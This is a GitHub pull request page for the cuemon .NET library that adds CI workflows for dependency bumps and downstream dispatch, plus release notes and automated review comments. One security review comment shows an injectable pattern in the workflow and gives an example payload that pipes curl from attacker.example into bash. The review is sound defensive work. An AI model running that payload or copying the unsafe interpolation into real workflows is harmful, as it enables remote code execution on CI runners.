-
Notifications
You must be signed in to change notification settings - Fork 5
V10.3.0/launch #149
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
V10.3.0/launch #149
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,3 @@ | ||
| [ | ||
| "xunit" | ||
| ] |
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,139 @@ | ||||||||||||||||||||||||||||||||||||||||
| name: Service Update | ||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||
| on: | ||||||||||||||||||||||||||||||||||||||||
| repository_dispatch: | ||||||||||||||||||||||||||||||||||||||||
| types: [codebelt-service-update] | ||||||||||||||||||||||||||||||||||||||||
| workflow_dispatch: | ||||||||||||||||||||||||||||||||||||||||
| inputs: | ||||||||||||||||||||||||||||||||||||||||
| source_repo: | ||||||||||||||||||||||||||||||||||||||||
| description: 'Triggering source repo name (e.g. cuemon)' | ||||||||||||||||||||||||||||||||||||||||
| required: false | ||||||||||||||||||||||||||||||||||||||||
| default: '' | ||||||||||||||||||||||||||||||||||||||||
| source_version: | ||||||||||||||||||||||||||||||||||||||||
| description: 'Version released by source (e.g. 10.3.0)' | ||||||||||||||||||||||||||||||||||||||||
| required: false | ||||||||||||||||||||||||||||||||||||||||
| default: '' | ||||||||||||||||||||||||||||||||||||||||
| dry_run: | ||||||||||||||||||||||||||||||||||||||||
| type: boolean | ||||||||||||||||||||||||||||||||||||||||
| description: 'Dry run — show changes but do not commit or open PR' | ||||||||||||||||||||||||||||||||||||||||
| default: false | ||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||
| permissions: | ||||||||||||||||||||||||||||||||||||||||
| contents: write | ||||||||||||||||||||||||||||||||||||||||
| pull-requests: write | ||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||
| jobs: | ||||||||||||||||||||||||||||||||||||||||
| service-update: | ||||||||||||||||||||||||||||||||||||||||
| runs-on: ubuntu-24.04 | ||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||
| steps: | ||||||||||||||||||||||||||||||||||||||||
| - name: Checkout | ||||||||||||||||||||||||||||||||||||||||
| uses: actions/checkout@v4 | ||||||||||||||||||||||||||||||||||||||||
| with: | ||||||||||||||||||||||||||||||||||||||||
| fetch-depth: 0 | ||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||
| - name: Resolve trigger inputs | ||||||||||||||||||||||||||||||||||||||||
| id: trigger | ||||||||||||||||||||||||||||||||||||||||
| run: | | ||||||||||||||||||||||||||||||||||||||||
| SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}" | ||||||||||||||||||||||||||||||||||||||||
| VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}" | ||||||||||||||||||||||||||||||||||||||||
| echo "source=$SOURCE" >> $GITHUB_OUTPUT | ||||||||||||||||||||||||||||||||||||||||
| echo "version=$VERSION" >> $GITHUB_OUTPUT | ||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||
| - name: Determine new version for this repo | ||||||||||||||||||||||||||||||||||||||||
| id: newver | ||||||||||||||||||||||||||||||||||||||||
| run: | | ||||||||||||||||||||||||||||||||||||||||
| CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1) | ||||||||||||||||||||||||||||||||||||||||
| NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}') | ||||||||||||||||||||||||||||||||||||||||
| BRANCH="v${NEW}/service-update" | ||||||||||||||||||||||||||||||||||||||||
| echo "current=$CURRENT" >> $GITHUB_OUTPUT | ||||||||||||||||||||||||||||||||||||||||
| echo "new=$NEW" >> $GITHUB_OUTPUT | ||||||||||||||||||||||||||||||||||||||||
| echo "branch=$BRANCH" >> $GITHUB_OUTPUT | ||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||
| - name: Generate codebelt-aicia token | ||||||||||||||||||||||||||||||||||||||||
| id: app-token | ||||||||||||||||||||||||||||||||||||||||
| uses: actions/create-github-app-token@v1 | ||||||||||||||||||||||||||||||||||||||||
| with: | ||||||||||||||||||||||||||||||||||||||||
| app-id: ${{ vars.CODEBELT_AICIA_APP_ID }} | ||||||||||||||||||||||||||||||||||||||||
| private-key: ${{ secrets.CODEBELT_AICIA_PRIVATE_KEY }} | ||||||||||||||||||||||||||||||||||||||||
| owner: codebeltnet | ||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||
| - name: Bump NuGet packages | ||||||||||||||||||||||||||||||||||||||||
| run: python3 .github/scripts/bump-nuget.py | ||||||||||||||||||||||||||||||||||||||||
| env: | ||||||||||||||||||||||||||||||||||||||||
| TRIGGER_SOURCE: ${{ steps.trigger.outputs.source }} | ||||||||||||||||||||||||||||||||||||||||
| TRIGGER_VERSION: ${{ steps.trigger.outputs.version }} | ||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||
|
Comment on lines
+61
to
+66
|
||||||||||||||||||||||||||||||||||||||||
| - name: Update PackageReleaseNotes.txt | ||||||||||||||||||||||||||||||||||||||||
| run: | | ||||||||||||||||||||||||||||||||||||||||
| NEW="${{ steps.newver.outputs.new }}" | ||||||||||||||||||||||||||||||||||||||||
| for f in .nuget/*/PackageReleaseNotes.txt; do | ||||||||||||||||||||||||||||||||||||||||
| [ -f "$f" ] || continue | ||||||||||||||||||||||||||||||||||||||||
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | ||||||||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||||||||
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | |
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //') | |
| if [ -z "$TFM" ]; then | |
| TFM=".NET 10, .NET 9 and .NET Standard 2.0" | |
| fi |
Copilot
AI
Feb 19, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The release-notes header template uses Version ${NEW} (without a colon). Existing PackageReleaseNotes.txt files use Version: for the current and immediately previous release entries, so this workflow will generate release notes that deviate from the established format. Update the template to emit Version: ${NEW} (and preserve the Version/Version: convention used in the .nuget/*/PackageReleaseNotes.txt files).
| ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | |
| ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Two bugs in PackageReleaseNotes.txt entry generation.
1 — Missing colon (Version:) — Line 73 emits Version ${NEW} but all existing entries use Version: X.Y.Z. After this workflow runs, the file will have inconsistently formatted headers, which may break any tooling that parses them by pattern.
2 — TFM fallback never triggers — The pipeline grep -m1 | sed || echo fallback uses sed's exit code (always 0, even on empty input) as the pipeline result, not grep's. When no Availability: line exists, TFM silently becomes an empty string, producing a malformed entry (Availability: ).
🛠️ Proposed fix
- TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
- ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"
+ TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //')
+ TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}"
+ ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"Using the bash parameter expansion ${TFM:-default} correctly falls back when TFM is empty regardless of pipeline exit codes.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Update PackageReleaseNotes.txt | |
| run: | | |
| NEW="${{ steps.newver.outputs.new }}" | |
| for f in .nuget/*/PackageReleaseNotes.txt; do | |
| [ -f "$f" ] || continue | |
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | |
| ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | |
| { printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f" | |
| done | |
| - name: Update PackageReleaseNotes.txt | |
| run: | | |
| NEW="${{ steps.newver.outputs.new }}" | |
| for f in .nuget/*/PackageReleaseNotes.txt; do | |
| [ -f "$f" ] || continue | |
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //') | |
| TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}" | |
| ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | |
| { printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f" | |
| done |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml around lines 67 - 75, The workflow
writes a malformed header because the ENTRY string uses "Version ${NEW}" instead
of "Version: ${NEW}" and the TFM fallback never triggers because the pipeline
(grep -m1 "^Availability:" | sed 's/Availability: //') can yield an empty
string; fix by changing ENTRY to include the colon ("Version: ${NEW}") and
compute TFM from the grep+sed output but apply a Bash fallback like ${TFM:-".NET
10, .NET 9 and .NET Standard 2.0"} so an empty value is replaced; update the TFM
assignment that currently uses TFM=$(grep -m1 "^Availability:" "$f" | sed
's/Availability: //' || echo "...") to capture the pipeline output then use
parameter expansion for the default.
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,78 @@ | ||
| name: Trigger Downstream Service Updates | ||
|
|
||
| on: | ||
| release: | ||
| types: [published] | ||
|
|
||
| jobs: | ||
| dispatch: | ||
| if: github.event.release.prerelease == false | ||
| runs-on: ubuntu-24.04 | ||
| permissions: | ||
| contents: read | ||
|
|
||
| steps: | ||
| - name: Checkout (to read dispatch-targets.json) | ||
| uses: actions/checkout@v4 | ||
|
|
||
| - name: Check for dispatch targets | ||
| id: check | ||
| run: | | ||
| if [ ! -f .github/dispatch-targets.json ]; then | ||
| echo "No dispatch-targets.json found, skipping." | ||
| echo "has_targets=false" >> $GITHUB_OUTPUT | ||
| exit 0 | ||
| fi | ||
| COUNT=$(python3 -c "import json; print(len(json.load(open('.github/dispatch-targets.json'))))") | ||
| echo "has_targets=$([ $COUNT -gt 0 ] && echo true || echo false)" >> $GITHUB_OUTPUT | ||
|
|
||
| - name: Extract version from release tag | ||
| if: steps.check.outputs.has_targets == 'true' | ||
| id: version | ||
| run: | | ||
| VERSION="${{ github.event.release.tag_name }}" | ||
| VERSION="${VERSION#v}" | ||
| echo "version=$VERSION" >> $GITHUB_OUTPUT | ||
|
|
||
| - name: Generate codebelt-aicia token | ||
| if: steps.check.outputs.has_targets == 'true' | ||
| id: app-token | ||
| uses: actions/create-github-app-token@v1 | ||
| with: | ||
| app-id: ${{ vars.CODEBELT_AICIA_APP_ID }} | ||
| private-key: ${{ secrets.CODEBELT_AICIA_PRIVATE_KEY }} | ||
| owner: codebeltnet | ||
|
|
||
| - name: Dispatch to downstream repos | ||
| if: steps.check.outputs.has_targets == 'true' | ||
| run: | | ||
| python3 - <<'EOF' | ||
| import json, urllib.request, os, sys | ||
|
|
||
| targets = json.load(open('.github/dispatch-targets.json')) | ||
| token = os.environ['GH_TOKEN'] | ||
| version = os.environ['VERSION'] | ||
| source = os.environ['SOURCE_REPO'] | ||
|
|
||
| for repo in targets: | ||
| url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches' | ||
| payload = json.dumps({ | ||
| 'event_type': 'codebelt-service-update', | ||
| 'client_payload': { | ||
| 'source_repo': source, | ||
| 'source_version': version | ||
| } | ||
| }).encode() | ||
| req = urllib.request.Request(url, data=payload, method='POST', headers={ | ||
| 'Authorization': f'Bearer {token}', | ||
| 'Accept': 'application/vnd.github+json', | ||
| 'Content-Type': 'application/json', | ||
| 'X-GitHub-Api-Version': '2022-11-28' | ||
| }) | ||
| with urllib.request.urlopen(req) as r: | ||
| print(f'✓ Dispatched to {repo}: HTTP {r.status}') | ||
| EOF | ||
|
Comment on lines
+57
to
+74
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. A single failed dispatch silently aborts all remaining targets.
🛠️ Proposed fix- import json, urllib.request, os, sys
+ import json, urllib.request, urllib.error, os
targets = json.load(open('.github/dispatch-targets.json'))
token = os.environ['GH_TOKEN']
version = os.environ['VERSION']
source = os.environ['SOURCE_REPO']
+ errors = []
for repo in targets:
url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches'
payload = json.dumps({
'event_type': 'codebelt-service-update',
'client_payload': {
'source_repo': source,
'source_version': version
}
}).encode()
req = urllib.request.Request(url, data=payload, method='POST', headers={
'Authorization': f'Bearer {token}',
'Accept': 'application/vnd.github+json',
'Content-Type': 'application/json',
'X-GitHub-Api-Version': '2022-11-28'
})
- with urllib.request.urlopen(req) as r:
- print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+ try:
+ with urllib.request.urlopen(req) as r:
+ print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+ except urllib.error.HTTPError as e:
+ print(f'✗ Failed to dispatch to {repo}: HTTP {e.code} {e.reason}', flush=True)
+ errors.append(repo)
+ if errors:
+ raise SystemExit(f'Dispatch failed for: {", ".join(errors)}')🤖 Prompt for AI Agents |
||
| env: | ||
| GH_TOKEN: ${{ steps.app-token.outputs.token }} | ||
| VERSION: ${{ steps.version.outputs.version }} | ||
| SOURCE_REPO: ${{ github.event.repository.name }} | ||
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -1,3 +1,22 @@ | ||||||
| Version: 10.3.0 | ||||||
| Availability: .NET 10, .NET 9 and .NET Standard 2.0 | ||||||
|
|
||||||
| # ALM | ||||||
| - CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs) | ||||||
|
|
||||||
| # New Features | ||||||
| - ADDED AssemblyContext class in the Cuemon.Reflection namespace that provides filtered discovery of assemblies in the current application domain, with optional traversal of referenced assemblies | ||||||
| - ADDED AssemblyContextOptions class in the Cuemon.Reflection namespace that provides configuration options for AssemblyContext filtering and traversal | ||||||
| - ADDED StackDecoratorExtensions class in the Cuemon.Collections.Generic namespace with TryPop extension method for IDecorator<Stack{T}> | ||||||
| - ADDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException | ||||||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
The 📝 Proposed fix- - ADDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException
+ - EXTENDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableExceptionAs per coding guidelines, 📝 Committable suggestion
Suggested change
🤖 Prompt for AI Agents |
||||||
|
|
||||||
| # Improvements | ||||||
| - CHANGED Patterns class in the Cuemon namespace so TryInvoke overloads apply exception filters via IsFatalException and IsRecoverableException | ||||||
| - CHANGED World class in the Cuemon.Globalization namespace where StatisticalRegions now returns IEnumerable<StatisticalRegionInfo> | ||||||
|
|
||||||
| # Bug Fixes | ||||||
| - FIXED AssemblyContextOptions class in the Cuemon.Reflection namespace to safely handle recoverable reflection exceptions while inspecting exported types | ||||||
|
|
||||||
| Version: 10.2.1 | ||||||
| Availability: .NET 10, .NET 9 and .NET Standard 2.0 | ||||||
|
|
||||||
|
|
@@ -203,4 +222,4 @@ Availability: .NET 9, .NET 8 and .NET Standard 2.0 | |||||
| - EXTENDED Validator class in the Cuemon namespace with five new methods: ThrowIfContainsReservedKeyword, ThrowIfNotDifferent, ThrowIfDifferent, ThrowIfContainsAny and ThrowIfNotContainsAny | ||||||
| - CHANGED Validator class in the Cuemon namespace to comply with RSPEC-3343 | ||||||
| - EXTENDED Decorator class in the Cuemon namespace with an additional method: RawEnclose | ||||||
|
|
||||||
|
|
||||||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🧩 Analysis chain
🏁 Script executed:
Repository: codebeltnet/cuemon
Length of output: 100
🏁 Script executed:
cat -n .github/workflows/service-update.yml | head -120Repository: codebeltnet/cuemon
Length of output: 5432
🌐 Web query:
GitHub Actions command injection vulnerability context expressions shell interpolation security💡 Result:
GitHub Actions “command injection” most commonly happens when untrusted data from a GitHub context (issue/PR title/body, branch names, commit messages, etc.) is inserted directly into a
run:script via an expression (${{ ... }}).Why it happens (context expressions + shell interpolation)
${{ ... }}first (server-side / runner-prep), before your step runs.$(...),"; ...), it can break out of the intended string and execute attacker-controlled commands. (docs.github.com)Example vulnerable pattern:
If an attacker controls the issue title, they can inject something like
$(touch pwned.txt)and it becomes executable after expression expansion. (github.blog)GitHub explicitly calls out many
github.*fields as potentially attacker-controlled (often ending intitle,body,message,name,ref, etc.). (docs.github.com)Safer pattern (break the “expression → script text” link)
Put untrusted expression results into
env:(orwith:inputs) and then reference normal shell variables. This keeps the untrusted value from rewriting your script text during expression expansion. (securitylab.github.com)(securitylab.github.com)
Practical security takeaways
github.event.*) as untrusted input and avoid embedding it directly insiderun:lines via${{ }}. (docs.github.com)env:indirection + normal shell quoting over expression-in-command construction. (securitylab.github.com)Citations:
Command injection via direct
${{ }}interpolation into shell scripts.GitHub Actions evaluates
${{ ... }}expressions on the runner and injects the result into the script file before the shell executes it. In bash, command substitution ($()) inside double quotes is evaluated by the shell—so a user with write access can provide asource_repoorsource_versionvalue like$(curl https://attacker.example/payload | bash)and have it execute in the runner.The same pattern reappears at lines 109–112 for
SOURCEandSRC_VER.Proposed fix — use
env:instead of direct interpolation- name: Resolve trigger inputs id: trigger run: | - SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}" - VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}" echo "source=$SOURCE" >> $GITHUB_OUTPUT echo "version=$VERSION" >> $GITHUB_OUTPUT + env: + SOURCE: ${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }} + VERSION: ${{ github.event.client_payload.source_version || github.event.inputs.source_version }}Apply the same pattern to the
Create branch and open PRstep (lines 109–112):env: GH_TOKEN: ${{ steps.app-token.outputs.token }} + _SOURCE: ${{ steps.trigger.outputs.source }} + _SRC_VER: ${{ steps.trigger.outputs.version }} run: | NEW="${{ steps.newver.outputs.new }}" BRANCH="${{ steps.newver.outputs.branch }}" - SOURCE="${{ steps.trigger.outputs.source }}" - SRC_VER="${{ steps.trigger.outputs.version }}" + SOURCE="$_SOURCE" + SRC_VER="$_SRC_VER"🤖 Prompt for AI Agents